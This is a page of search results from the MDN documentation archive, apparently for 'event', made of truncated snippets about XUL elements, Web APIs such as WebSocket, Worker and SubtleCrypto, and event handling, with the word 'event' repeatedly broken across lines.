...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods void firechanged
event(in domelement p...
...ontextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods void firechanged
event(in domelement preference); creates and dispatches a changed (non-bubbling)
event to the specified preference element. ...
...And 4 more matches
prefpane - Archive of obsolete content
erences system article. attributes helpuri, image, label, onpaneload, selected, src properties image, label, preferenceelements, preferences, selected, src examples methods preferenceforelement <prefpane id="panegeneral" label="general" src="chrome://path/to/paneoverlay.xul"/> or <prefpane id="panegeneral" label="general" onpaneload="ongeneralpaneload(
event);"> <preferences> <preference id="pref_one" name="extensions.myextension.one" type="bool"/> ... more preferences ... </preferences> <checkbox label="number one?" preference="pref_one"/> ... more ui elements ... </prefpane> attributes helpuri type: uri the uri of the help page associated with a preference panel. the uri will be opened using the help viewer ...
...ent attributes. label type: string the label that will appear on the element. if this is left out, no text appears. for an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. onpaneload type: script code code defined here is called when the pane has been loaded, much like the load
event for a window. selected type: boolean this attribute will be set to true for the currently selected prefpane. to change the selected pane, use the prefwindow's showpane method. src type: uri the uri of the overlay contents of preference pane. if this is not specified, the contents of the prefpane element is used. properties contentheigh...
...nsynctopreference handler for your listbox that returns the value to be written to the preference element, and then call the userchangedvalue function every time you edit the list in a way that should cause the preference's value to change. ...
...And 4 more matches
window - Archive of obsolete content
wid> is the value of the id attribute on the window. this allows you to have a different icon for each window. without including the css file at "chrome://global/skin/", the window will not be stylized and will be invisible and glitchy when opened as a dialog. note: starting in gecko 1.9.2, you can detect when a window is activated or deactivated by watching for the "activate" and "deactivate"
events. see window activation
events. more information is available in the xul tutorial. attributes accelerated, chromemargin, disablechrome, disablefastfind, drawintitlebar, fullscreenbutton, height, hidechrome, id, lightweightthemes, lightweightthemesfooter, screenx, screeny, sizemode, title, width, windowtype examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type=...
... causes the toolbars to be hidden, with only the tab strip (and, if currently displayed, the add-on bar) left showing. note: this has no effect if the tabs on top preference is turned off. disablefastfindtype: booleanput disablefastfind="true" on the root element of a xul document, which is intended to be loaded in a tab, to disable the find bar for the tab with this document. this is used to pr
event the find bar from being displayed when it's not supported by the content (such as in the add-ons manager tab). drawintitlebar type: boolean if this attribute is true, the top of the window's content area will begin at the top edge of the title bar, instead of below the title bar. this allows the window to draw in the title bar. this is supported only from window elements, and is ignored on pl...
...aw in the title bar. this is supported only from window elements, and is ignored on platforms that don't support drawing into the title bar. fullscreenbutton type: boolean set this attribute to true to display a button in the window chrome to allow the user to switch the window into full screen mode. supported on mac os x 10.7 lion and later and on windows. the window receives a "fullscreen"
event once the change has been made. height type: string (representing an integer) the preferred height of the element in pixels. the actual displayed height may be different if the element or its contents have a minimum or maximum height. the css height property may also be used. hidechrome type: boolean set this attribute to true to have the chrome including the titlebar hidden. ...
...And 4 more matches
calICalendarViewController - Archive of obsolete content
ctions to be performed in a manner consistent with the rest of the application in which the calicalendarview is included. calendar/base/public/calicalendarviewcontroller.idlscriptable please add a summary to this article. ...
...terface calicalendarviewcontroller : nsisupports { void createnew
event (in calicalendar acalendar, in calidatetime astarttime, in calidatetime aendtime); void modifyoccurrence (in caliitemoccurrence aoccurrence, in calidatetime anewstarttime, in calidatetime anewendtime); void deleteoccurrence (in caliitemoccurrence aoccurrence); }; methods createnew
event void createnew
event (in calicalendar acalendar, in calidatetime astarttime, in calidatetime aendtime); the createnew
event method is used for creating a new cali
event in the calicalendar specified by the acalendar parameter. in many cases, acalendar will be the defaultcalendar of the displaycalendar of the calicalendarview. the calidatetime parameters are optional, but ae...
...me, in calidatetime aendtime); the createnew
event method is used for creating a new cali
event in the calicalendar specified by the acalendar parameter. in many cases, acalendar will be the defaultcalendar of the displaycalendar of the calicalendarview. the calidatetime parameters are optional, but aendtime cannot be included without astarttime. if astarttime is specified, then the cali
event is meant to be created 'silently', that is, without a more detailed dialog appearing. the cali
event should have its enddate set to aendtime, if this parameter is specified. otherwise, it should be set to a default value, as determined by the application. ...
...And 4 more matches
Windows Media in Netscape - Archive of obsolete content
t cannot be used to initiate a digitally signed download of the windows media control, if it is not present on the machine. the section below on scripting the control covers more on how to detect if the windows media player has not been successfully created. scripting the windows media player control the number of methods and properties that are exposed by the windows media player, including the
events that the player throws for handling by scripts in the web page containing the control, are covered in detail by the windows media player sdk. this section covers relevant issues concerning the invocation of methods and properties from within web pages that are embedding the windows media control. detecting successful creation of the control often, usage of activex controls in ie involve the use ...
...no netscape browser prior to netscape 7.1 has supported this non-standard way of writing scripts that handle information sent by a plugin or control. a good illustration of the use of this non-standard script element syntax is in creating closed captioning of media content. automatic closed capti...
...vexobject("wmplayer.ocx.7"); } else if(window.geckoactivexobject) { player = new geckoactivexobject("wmplayer.ocx.7"); } } catch(e) { ; } if (player) { player.currentplaylist = player.mediacollection.getbyname('preludesteel'); player.controls.play(); } callbacks from within windows media player to web pages: script for
event netscape 7.1 supports ie's <script for="activexcontrol"
event="activexcontrol
event"> script elements. no netscape browser prior to netscape 7.1 has supported this non-standard way of writing scripts that handle information sent by a plugin or control. a good illustration of the use of this non-standard script element syntax is in creating closed captioning of media content. automatic closed captioning does not work in netscape 7.1 as it does in ie. in ie, a...
...And 4 more matches
Desktop mouse and keyboard controls - Game development
ols is phaser-based, but it could also be done in pure javascript. the good thing about using phaser is that it offers helper variables and functions for easier and faster development, but it's totally up to you which approach you chose. pure javascript approach let's think about implementing pure javascript keyboard/mouse controls in the game first to see how it would work. first, we'd need an
event listener to listen for the pressed keys: document.add
eventlistener('keydown', keydownhandler, false); document.add
eventlistener('keyup', keyuphandler, false); whenever any key is pressed down, we're executing the keydownhandler function, and when press finishes we're executing the keyuphandler function, so we know when it's no longer pressed. to do that we'll hold the information on whether the...
..., we're executing the keydownhandler function, and when press finishes we're executing the keyuphandler function, so we know when it's no longer pressed. ...
...essed. to do that we'll hold the information on whether the keys we are interested in are pressed or not: var rightpressed = false; var leftpressed = false; var uppressed = false; var downpressed = false; then we will listen for the keydown and keyup
events and act accordingly in both handler functions. inside them we can get the code of the key that was pressed from the keycode property of the
event object, see which key it is, and then set the proper variable. ...
...And 4 more matches
SharedWorkerGlobalScope - Web APIs
global scope) is accessible through the self keyword. some additional global functions, namespaces objects, and constructors, not typically associated with the worker global scope, but available on it, are listed in the javascript reference. see the complete list of functions available to workers. properties this interface inherits properties from the workerglobalscope interface, and its parent
eventtarget, and therefore implements properties from windowtimers, windowbase64, and window
eventhandlers. sharedworkerglobalscope.name read only the name that the sharedworker was (optionally) given when it was created using the sharedworker() constructor. this is mainly useful for debugging purposes. sharedworkerglobalscope.applicationcache read only this property returns the applicationcac...
...r read only returns the workernavigator associated with the worker. workernavigator is a specific navigator object, mostly a subset of the navigator for browsing scopes, but adapted to workers. workerglobalscope.performance read only returns the performance object associated with the worker, which is a regular performance object, but with a subset of its properties and methods available. ...
...r associated with the worker. workernavigator is a specific navigator object, mostly a subset of the navigator for browsing scopes, but adapted to workers. workerglobalscope.performance read only returns the performance object associated with the worker, which is a regular performance object, but with a subset of its properties and methods available. ...
...And 4 more matches
SubtleCrypto.exportKey() - Web APIs
te it into the "exported-key" space. */ async function exportcryptokey(key) { const exported = await window.crypto.subtle.exportkey( "raw", key ); const exportedkeybuffer = new uint8array(exported); const exportkeyoutput = document.queryselector(".exported-key"); exportkeyoutput.textcontent = `[${exportedkeybuffer}]`; } /* generate an encrypt/decrypt secret key, then set up an
event listener on the "export" button. */ window.crypto.subtle.generatekey( { name: "aes-gcm", length: 256, }, true, ["encrypt", "decrypt"] ).then((key) => { const exportbutton = document.queryselector(".raw"); exportbutton.add
eventlistener("click", () => { exportcryptokey(key); }); }); pkcs #8 export this example exports an rsa private signing key as a pkcs #8 object. the ...
...*/ window.crypto.subtle.generatekey( { name: "rsa-pss", // consider using a 4096-bit key for systems that require long-term security moduluslength: 2048, publicexponent: new uint8array([1, 0, 1]), hash: "sha-256", }, true, ["sign", "verify"] ).then((keypair) => { const exportbutton = document.queryselector(".pkcs8"); exportbutton.ad...
...listener on the "export" button. */ window.crypto.subtle.generatekey( { name: "rsa-pss", // consider using a 4096-bit key for systems that require long-term security moduluslength: 2048, publicexponent: new uint8array([1, 0, 1]), hash: "sha-256", }, true, ["sign", "verify"] ).then((keypair) => { const exportbutton = document.queryselector(".pkcs8"); exportbutton.add
eventlistener("click", () => { exportcryptokey(keypair.privatekey); }); }); subjectpublickeyinfo export this example exports an rsa public encryption key as a pem-encoded subjectpublickeyinfo object. see the complete code on github. /* convert an arraybuffer into a string from https://developers.google.com/web/updates/2012/06/how-to-convert-arraybuffer-to-and-from-string */ function ab2str(b...
...And 4 more matches
VideoTrackList - Web APIs
represent a list of the video tracks contained within a <video> element, with each track represented by a separate videotrack object in the list. retrieve an instance of this object with htmlmediaelement.videotracks. the individual tracks can be accessed using array syntax or functions such as foreach() for example. ...
... of this object with htmlmediaelement.videotracks. the individual tracks can be accessed using array syntax or functions such as foreach() for example. properties this interface also inherits properties from its parent interface,
eventtarget. length read only the number of tracks in the list. selectedindex read only the index of the currently selected track, if any, or −1 otherwise.
event handlers onaddtrack an
event handler to be called when the addtrack
event is fired, indicating that a new video track has been added to the media element. ...
... also inherits properties from its parent interface,
eventtarget. length read only the number of tracks in the list. selectedindex read only the index of the currently selected track, if any, or −1 otherwise.
event handlers onaddtrack an
event handler to be called when the addtrack
event is fired, indicating that a new video track has been added to the media element. onchange an
event handler to be called when the change
event occurs — that is, when the value of the selected property for a track has changed, due to the track being made active or inactive. onremovetrack an
event handler to call when the removetrack
event is sent, indicating that a video track has been removed from the media element. methods this interface also inherits methods from its parent interface, ...
...And 4 more matches
WebGLRenderingContext.makeXRCompatible() - Web APIs
t failed. invalidstateerror the webgl context has been lost or there is no available webxr device. usage notes because makexrcompatible() may involve replacing the underlying webgl context with a new one that uses the new rendering hardware, the existing contents of the context may be lost and, therefore, would need to be re-rendered. this is why the webglcontextlost and webglcontextrestored
events are used: the first gives you the opportunity to discard anything you won't need anymore, while the second gives you the opportunity to load resources and prepare to render the scene in its new context. while this method is available through the webglrenderingcontext interface, it's actually defined by the webxr device api rather than by webgl. examples this example demonstrates code logic yo...
...mode button. this is important, which we'll explore shortly. ...
...portant, which we'll explore shortly. ...
...And 4 more matches
Taking still photos with WebRTC - Web APIs
e to the <canvas> element after the page is done loading. photo this will be a reference to the <img> element after the page is done loading. startbutton this will be a reference to the <button> element that's used to trigger capture. we'll get that after the page is done loading. the startup() function the startup() function is run when the page has finished loading, courtesy of window.add
eventlistener(). this function's job is to request access to the user's webcam, initialize the output <img> to a default state, and to establish the
event listeners needed to receive each frame of video from the camera and react when the button is clicked to capture an image. getting element references first, we grab references to the major elements we need to be able to access. function startup()...
...rror callback is called if opening the stream doesn't work. this will happen for example if there's no compatible camera connected, or the user denied access. listen for the video to start playing after calling htmlmediaelement.play() on the <video>, there's a (hopefully brief) period of time that elapses before the stream of video begins to flow. ...
...tream doesn't work. this will happen for example if there's no compatible camera connected, or the user denied access. listen for the video to start playing after calling htmlmediaelement.play() on the <video>, there's a (hopefully brief) period of time that elapses before the stream of video begins to flow. ...
...And 4 more matches
Writing WebSocket client applications - Web APIs
an empty string is assumed. the constructor will throw a securityerror if the destination doesn't allow access. this may happen if you attempt to use an insecure connection (most user agents now require a secure link for all websocket connections unless they're on the same device or possibly on the same network). connection errors if an error occurs while attempting to connect, first a simple
event with the name error is sent to the websocket object (thereby invoking its onerror handler), and then the close
event is sent to the websocket object (thereby invoking its onclose handler) to indicate the reason for the connection's closing. the browser may also output to its console a more descriptive error message as well as a closing code as defined in rfc 6455, section 7.4 through the closeeve...
...e server is urgently awaiting!"); you can send data as a string, blob, or arraybuffer. as establishing a connection is asynchronous and prone to failure there is no guarantee that calling the send() method immediately after creating a websocket object will be successful. we can at least be sure that attempting to send data only takes place once a connection is established by defining an onopen
event handler to do the work: examplesocket.onopen = function (
event) { examplesocket.send("here's some text that the server is urgently awaiting!"); }; using json to transmit objects one handy thing you can do is use json to send reasonably complex data to the server. for example, a chat program can interact with a server using a protocol implemented using packets of json-encapsulated data: // ...
...pe: "message", text: document.getelementbyid("text").value, id: clientid, date: date.now() }; // send the msg object as a json-formatted string. examplesocket.send(json.stringify(msg)); // blank the text input element, ready to receive the next line of text from the user. ...
...And 4 more matches
Using the Web Animations API - Web APIs
ation later, but for now, let’s look closer at the cupcake’s animation: var nommingcake = document.getelementbyid('eat-me_sprite').animate( [ { transform: 'translatey(0)' }, { transform: 'translatey(-80%)' } ], { fill: 'forwards', easing: 'steps(4, end)', duration: alicechange.effect.timing.duration / 2 }); the element.animate() method will immediately run after it is called. to pr
event the cake from eating itself up before the user has had the chance to click on it, we call animation.pause() on it immediately after it is defined, like so: nommingcake.pause(); we can now use the animation.play() method to run it whenever we’re ready: nommingcake.play(); specifically, we want to link it to alice’s animation, so she gets bigger as the cupcake gets eaten. we can achieve thi...
...ation, so she gets bigger as the cupcake gets eaten. we can achieve this via the following function: var growalice = function() { // play alice's animation. alicechange.play(); // play the cake's animation. nommingcake.play(); } when a user holds their mouse down or presses their finger on the cake on a touch screen, we can now call growalice to make all the animations play: cake.add
eventlistener("mousedown", growalice, false); cake.add
eventlistener("touchstart", growalice, false); other useful methods in addition to pausing and playing, we can use the following animation methods: animation.finish() skips to the end of the animation. animation.cancel() aborts the animation and removes its effects. animation.reverse() sets the animation’s playback rate (animation.playbackr...
...backrate) to a negative value so it runs backward. let’s take a look at playbackrate first — a negative playbackrate will cause an animation to run in reverse. when alice drinks from the bottle, she grows smaller. ...
...And 4 more matches
Window.open() - Web APIs
w is opened, javascript can't be used to change the features. if windowname does not specify an existing window and the windowfeatures parameter is not provided (or if the windowfeatures parameter is an empty string), then the new secondary window will render the default toolbars of the main window. tip: note that in some browsers, users can override the windowfeatures settings and enable (or pr
event the disabling of) features position and size features windowfeatures parameter can specify the position and size of the new window. note on position and dimension error correction position if only one of them is specified, the behavior is implementation-dependent, and web author should not rely on it. left or screenx specifies the distance the new window is placed from the left side o...
... this feature always on window functionality features noopener if this feature is set, the newly-opened window will open as normal, except that it will not have access back to the originating window (via window.opener — it returns null). in addition, the window.open() call will also return null, so the originating window will not have access to the new one either. this is useful for pr
eventing untrusted sites opened via window.open() from tampering with the originating window, and vice versa. note that when noopener is used, nonempty target names other than _top, _self, and _parent are all treated like _blank in terms of deciding whether to open a new window/tab. this is supported in modern browsers including chrome, and firefox 52+. see rel="noopener" for more information and f...
...ether to open a new window/tab. this is supported in modern browsers including chrome, and firefox 52+. see rel="noopener" for more information and for browser compatibility details, including information about ancillary effects. noreferrer if this feature is set, the request to load the content located at the specified url will be loaded with the request's referrer set to noreferrer; this pr
events the request from sending the url of the page that initiated the request to the server where the request is sent. in addition, setting this feature also automatically sets noopener. see rel="noreferrer" for additional details and compatibility information. firefox introduced support for noreferrer in firefox 68. best practices <script type="text/javascript"> var windowobjectreference = null; /...
...And 4 more matches
Worker - Web APIs
nsexml and channel attributes are always null. (fetch is also available, with no such restrictions.) in firefox extensions, if you want to use workers with access to js-ctypes, use chromeworker object instead. constructors worker() creates a dedicated web worker that executes the script at the specified url. this also works for blob urls. properties inherits properties from its parent,
eventtarget, and implements properties from abstractworker.
event handlers abstractworker.onerror an
eventlistener called whenever an error
event of type error bubbles through to the worker. this is inherited from abstractworker. worker.onmessage an
eventlistener called whenever a message
event of type message bubbles through the worker — i.e. when a message is sent to the parent document from t...
... worker.postmessage() sends a message — consisting of any javascript object — to the worker's inner scope. ...
... worker.postmessage() sends a message — consisting of any javascript object — to the worker's inner scope. worker.terminate() immediately terminates the worker. ...
...And 4 more matches
XRReferenceSpace.onreset - Web APIs
specifications specification status comment webxr device apithe definition of 'onreset' in that specification. ...
... specifications specification status comment webxr device apithe definition of 'onreset' in that specification. ...
... specifications specification status comment webxr device apithe definition of 'onreset' in that specification. ...
...And 4 more matches
XRSession.onsqueezestart - Web APIs
the xrsession interface's onsqueezestart
event handler property can be set to a function which is then invoked to handle the squeezestart
event that's sent when the user successfully begins a primary squeeze action on a webxr input device. these actions represent the user squeezing or tightly gripping an object or controller. to learn more about how to use and handle webxr controller inputs, see inputs and input sources. syntax xrsession.onsqueezestart = squeezestarthandlerfunction; value a function to be invoked whenever the xrsession receives a squeezestart
event. ...
... represent the user squeezing or tightly gripping an object or controller. to learn more about how to use and handle webxr controller inputs, see inputs and input sources. syntax xrsession.onsqueezestart = squeezestarthandlerfunction; value a function to be invoked whenever the xrsession receives a squeezestart
event. ...
...or tightly gripping an object or controller. to learn more about how to use and handle webxr controller inputs, see inputs and input sources. syntax xrsession.onsqueezestart = squeezestarthandlerfunction; value a function to be invoked whenever the xrsession receives a squeezestart
event. ...
...And 4 more matches
Index - HTTP
directive restricts the urls which can be used in a document's <base> element. if this value is absent, then any uri is allowed. if this directive is absent, the user agent will use the value in the <base> element. 30 csp: block-all-mixed-content csp, directive, http, mixed content, reference, security the http content-security-policy (csp) block-all-mixed-content directive pr
events loading any assets using http when the page is loaded using https. 31 csp: child-src csp, directive, http, reference, security the deprecated http content-security-policy (csp) child-src directive defines the valid sources for web workers and nested browsing contexts loaded using elements such as <frame> and <iframe>. for workers, non-compliant requests are treated as fatal ...
...licy require-sri-for directive instructs the client to require the use of subresource integrity for scripts or styles on the page. 46 csp: sandbox csp, directive, http, security the http content-security-policy (csp) sandbox directive enables a sandbox for the requested resource similar to the <iframe> sandbox attribute. ...
...r directive instructs the client to require the use of subresource integrity for scripts or styles on the page. 46 csp: sandbox csp, directive, http, security the http content-security-policy (csp) sandbox directive enables a sandbox for the requested resource similar to the <iframe> sandbox attribute. ...
...And 4 more matches
Add to Home screen - Progressive web apps (PWAs)
ich we'll explain later on), get a reference to our install button, and set it to display: none initially: let deferredprompt; const addbtn = document.queryselector('.add-button'); addbtn.style.display = 'none'; we hide the button initially because the pwa will not be available for install until it follows the a2hs criteria. when this happens, supporting browsers will fire a beforeinstallprompt
event. we can then use a handler like the one below to handle the installation: window.add
eventlistener('beforeinstallprompt', (e) => { // pr
event chrome 67 and earlier from automatically showing the prompt e.pr
eventdefault(); // stash the
event so it can be triggered later. deferredprompt = e; // update ui to notify the user they can add to home screen addbtn.style.display = 'block'; a...
...then use a handler like the one below to handle the installation: window.add
eventlistener('beforeinstallprompt', (e) => { // pr
event chrome 67 and earlier from automatically showing the prompt e.pr
eventdefault(); // stash the
event so it can be triggered later. ...
... set the button to display: block so it appears in the ui for the user to click. set a click handler for the button. the click handler contains the...
...And 4 more matches
Content Processes - Archive of obsolete content
y the time they were cancelled, the sdk was already designed with them in mind. to understand this article, it's probably best to read it as if content and add-on processes actually exist. to communicate between add-on and content processes, the sdk uses something called content scripts. these are explained in the first section. content scripts communicate with add-on code using something called
event emitters. these are explained in the next section. content workers combine these ideas, allowing you to inject a content script into a content process, and automatically set up a communication channel between them. these are explained in the third section. in the next section, we will look at how content scripts interact with the dom in a content process. there are several caveats here, all of t...
... different processes. the solution we've come up with is to introduce the notion of content scripts. a content script is a script that is injected into a content process by the main script running in the add-on process. content scripts differ from scripts that are loaded by the page itself in that they are provided with a messaging api that can be used to send messages back to the add-on script.
event emitters the messaging api we use to send json messages between scripts in different processes is based on the use of
event emitters. an
event emitter maintains a list of callbacks (or listeners) for one or more named
events. each
event emitter has several methods: the method on is used to add a listener for an
event. conversely, the method removelistener is used to remove a listener for an even...
...ipts in different processes is based on the use of
event emitters. an
event emitter maintains a list of callbacks (or listeners) for one or more named
events. each
event emitter has several methods: the method on is used to add a listener for an
event. conversely, the method removelistener is used to remove a listener for an
event. the method once is a helper function which adds a listener for an
event, and automatically removes it the first time it is called. each
event emitter has two associated emit functions. one emit function is associated with the
event emitter itself. when this function is called with a given
event name, it calls all the listeners currently associated with that
event. ...
...And 3 more matches
Porting the Library Detector - Archive of obsolete content
is an array of test objects, one for each library. each test object contains a function called test(): if the function finds the library, it defines various additional properties for the test object, such as a version property containing the library version. each test also contains a chrome:// url pointing to the icon associated with its library. the script listens to gbrowser's domcontentloaded
event. when this is triggered, the testlibraries() function builds an array of libraries by iterating through the tests and adding an entry for each library which passes. once the list is built, the switchlibraries() function constructs a xul statusbarpanel element for each library it found, populates it with the icon at the corresponding chrome:// url, and adds it to the box. finally, it listens to ...
...red, the testlibraries() function builds an array of libraries by iterating through the tests and adding an entry for each library which passes. once the list is built, the switchlibraries() function constructs a xul statusbarpanel element for each library it found, populates it with the icon at the corresponding chrome:// url, and adds it to the box. finally, it listens to gbrowser's tabselect
event, to update the contents of the box for that window. content script separation the test objects in the original script need access to the dom window object, so in the sdk port, they need to run in a content script. in fact, they need access to the un-proxied dom window, so they can see the objects added by libraries, so we’ll need to use the experimental unsafewindow. the main add-on script, ...
...dow, so they can see the objects added by libraries, so we’ll need to use the experimental unsafewindow. the main add-on script, main.js, will use a page-mod to inject the content script into every new page. the content script, which we'll call library-detector.js, will keep most of the logic of the test functions intact. ...
...And 3 more matches
core/promise - Archive of obsolete content
oursquare.getcheckinsby(user, function continuewith(result) { checkins=result; somethingfinished(); }); var finished = 0; function somethingfinished() { if (++finished === 3) ui.show(tweets, answers, checkins); } this also makes error handling quite an adventure. promises consider another approach, instead of continuation via callbacks, a function returns an object that represents a
eventual result, either successful or failed. this object is a promise, both figuratively and by name, to
eventually resolve. we can call a function on the promise to observe either its fulfillment or rejection. if the promise is rejected and the rejection is not explicitly observed, any derived promises will be implicitly rejected for the same reason. in the add-on sdk we follow commonjs promises/a s...
...}, function failure(reason) { // ... }); if foo returns a promise that gets fulfilled with the value, success callback (the value handler) will be called with that value. ...
... readasync(url).then(function (value) { throw new error("can't bar."); }, fu...
...And 3 more matches
JavaScript Daemons Management - Archive of obsolete content
all processes created by javascript timers or by a worker instantiation. here are some code snippets that simplify and abstract the management of daemons. the following daemons management framework is the major version of setinterval – a little framework. introduction sometimes a page uses dozens and dozens of animations. in such a condition it is difficult and unnatural to keep track of all
events started and then to stop them when appropriate through the cleartimeout() function. a possible approach to solve this problem is to nest all the information needed by each animation to start, stop, etc. in different objects (daemons) and then to create a constructor for such a class of objects (daemon) in order to standardize and simplify the instantiation of them. note: a minimalistic version ...
...finity. init optional the function which will be synchronously invoked once during the creation of the daemon and then assigned to the onstop property. it will be called with the same three arguments of the callback function. they will also have the same values of the last invocation of the callback function. onstart optional the function which will be synchronously invoked whenever the start
event occurs. it will be assigned to the onstart property. it will be called with three arguments: index (the iterative index of each invocation), length (the number of total invocations assigned to the daemon - finite or infinity), and backwards (a boolean expressing whether the process is going backwards or not). daemon global object properties daemon.context an empty object used as the default...
...changed');">two reversals</button> <button onclick="orecompose.makeloop();alert('changed');">makeloop</button> <button onclick="orecompose.unmakeloop();alert('changed');">unmakeloop</button> <button onclick="orecompose.close();">close</button> <button onclick="orecompose.reclose();">reclose</button><br /> frame rate: <input type="text" id="vello" value="33" style="width: 40px;" onkeypress="return
event.charcode===0||/\d/.test(string.fromcharcode(
event.charcode));" onkeyup="if(isfinite(this.value)&&number(this.value)>0){orecompose.setrate(this.value);}" /></p> </body> </html> example #2: a practical instantiation – daemon.buildaround() <!doctype html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>daemon.buildaround(…)</title> <script typ...
...And 3 more matches
Adding menus and submenus - Archive of obsolete content
equately. ...
...id="xulschoolhello-menubar"> <menu id="xulschoolhello-greeting-menu" label="&xulschoolhello.greeting.label;"> <menupopup> <menuitem label="&xulschoolhello.greet.short.label;" oncommand="xulschoolchrome.greetingdialog.greetingshort(
event);" /> <menuitem label="&xulschoolhello.greet.medium.label;" oncommand="xulschoolchrome.greetingdialog.greetingmedium(
event);" /> <menuitem label="&xulschoolhello.greet.long.label;" oncommand="xulschoolchrome.greetingdialog.greetinglong(
event);" /> <menuseparator /> <menuitem label="&xulschoolhello.greet.custom.label;" oncommand="xulschoolchrome.greetingdialog.greetingcustom(
event);" /> </menupopup> </menu> </menubar> </toolbox> this code displays a simple menu...
... <menubar id="xulschoolhello-menubar"> <menu id="xulschoolhello-greeting-menu" label="&xulschoolhello.greeting.label;"> <menupopup> <menu id="xulschoolhello-greeting-sizes-menu" label="&xulschoolhello.greetingsizes.label;"> <menupopup> <menuitem label="&xulschoolhello.greet.short.label;" oncommand="xulschoolchrome.greetingdialog.greetingshort(
event);" /> <menuitem label="&xulschoolhello.greet.medium.label;" oncommand="xulschoolchrome.greetingdialog.greetingmedium(
event);" /> <menuitem label="&xulschoolhello.greet.long.label;" oncommand="xulschoolchrome.greetingdialog.greetinglong(
event);" /> </menupopup> </menu> <menuitem label="&xulschoolhello.greet.custom.label;...
...And 3 more matches
Adding preferences to an extension - Archive of obsolete content
elonging to our own extension, so we specify that we want to access the "extensions.stockwatcher2" branch. after getting the preference branch for our extension, we call the nsisupports.queryinterface() method on it to be able to use the methods of the nsiprefbranch2 interface. the next step is to register a preference observer by calling the addobserver() method to establish that whenever any
events occur on the preferences, our object (this) receives notification. when
events occur, such as a preference being altered, our observe() method will be called automatically. now that we're monitoring the preferences, we can set up to watch the stock information and display it in the status bar panel. the first thing we need to do is get the currently configured stock symbol to watch from the pr...
...reshinformation() method every 10 minutes. the interval time is specified in milliseconds. shutdown() the stockwatcher.shutdown() method deactivates the observer on the preferences. this is also where we would add any other shutdown tasks we need to perform. shutdown: function() { this.prefs.removeobserver("", this); }, observe() the stockwatcher.observe() function is called whenever an
event occurs on the preference branch we're watching. for details on how observers work, read up on the nsiobserver interface. observe: function(subject, topic, data) { if (topic != "nspref:changed") { return; } switch(data) { case "symbol": this.tickersymbol = this.prefs.getcharpref("symbol").touppercase(); this.refreshinformation(); ...
...n how observers work, read up on the nsiobserver interface. observe: function(subject, topic, data) { if (topic != "nspref:changed") { return; } switch(data) { case "symbol": this.tickersymbol = this.prefs.getcharpref("symbol").touppercase(); this.refreshinformation(); break; } }, the topic parameter indicates what type of
event occurred. if it's not nspref:changed, we simply ignore the
event, since all we're interested in is changes to the values of our preferences. once we've established that the
event is in fact a preference change, we look at the data parameter, which contains the name of the preference that changed. in our example, we only have one preference, but you can monitor as many preferences as you wish her...
...And 3 more matches
JavaScript crypto - Archive of obsolete content
pto object from javascript mozilla defines a special javascript object to allow web pages access to certain cryptographic-related services. these services are a balance between the functionality web pages need and the requirement to protect users from malicious web sites. most of these services are available via the dom window object as window.crypto. ...
...re a balance between the functionality web pages need and the requirement to protect users from malicious web sites. most of these services are available via the dom window object as window.crypto. services are provided to enable: smart card
events, generating certificate requests, importing user certs, generating random numbers, logging out of your tokens, and signing text. handling smart card
events web sites can make themselves more smartcard friendly by listening for smartcard insertion and removal
events. to enable your document to receive these
events, you must first tell the crypto system you are interested by setting window.crypto.enablesmartcard
events to true. you can then register
event handlers for these
events with the document.add
eventlistener() method. two smart card related e...
... related
events are generated: smartcard-insert when smartcards are inserted, and smartcard-remove when smartcards are removed. web sites which use ssl clientauth login could use the following code to refresh the page on token insertions and removals: <!doctype html> <p>... ...
...And 3 more matches
close - Archive of obsolete content
the close
event is executed when a request has been made to close the window when the user presses the close button. if an
event handler is placed on the window element, it can be pr
evented to close (see example below). note that the close
event is only fired when the user presses the close button on the titlebar; (i.e. not file -> quit). the unload
event should be used to capture all attempts to unload the window. general info specification xul interface
event bubbles no cancelable no target window default action the window is closed. properties property type description target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. bubbles rea...
...fo specification xul interface
event bubbles no cancelable no target window default action the window is closed. properties property type description target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. bubbles read only boolean whether the
event normally bubbles or not. cancelable read only boolean whether the
event is cancellable or not. ...
... property type description target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. bubbles read only boolean whether the
event normally bubbles or not. cancelable read only boolean whether the
event is cancellable or not. ...
...And 3 more matches
command - Archive of obsolete content
the command
event is executed when an element is activated. how it is activated varies for each element and in many cases, there are several ways to activate an element. for example, a button can be activated by clicking on it with the mouse or by pressing space while it has the focus. menus can be activated by selecting them with the mouse or by pressing a shortcut key. command elements can be activated by any of their observing elements being activated. the command
event should always be used instead of the click
event because it will be called in all of the needed cases. ...
...se or by pressing space while it has the focus. menus can be activated by selecting them with the mouse or by pressing a shortcut key. command elements can be activated by any of their observing elements being activated. the command
event should always be used instead of the click
event because it will be called in all of the needed cases. ...
...ted by any of their observing elements being activated. the command
event should always be used instead of the click
event because it will be called in all of the needed cases. general info specification xul interface xulcommand
event bubbles yes cancelable yes target element default action none properties property type description target read only
eventtarget the
event target (the topmost target in the dom tree). type read only domstring the type of
event. ...
...And 3 more matches
appendNotification - Archive of obsolete content
if another notification is already present with a higher priority, the new notification will be added behind it. label - label to appear on the notification. this should be either a string, or, from gecko 37 onwards, you can pass a documentfragment with rich content as well. keep in mind that this is all xul so using html elements for styling might still need additional css in order to work as you might expect. value - value used to identify the notification image - url of image to appear on the notification. ...
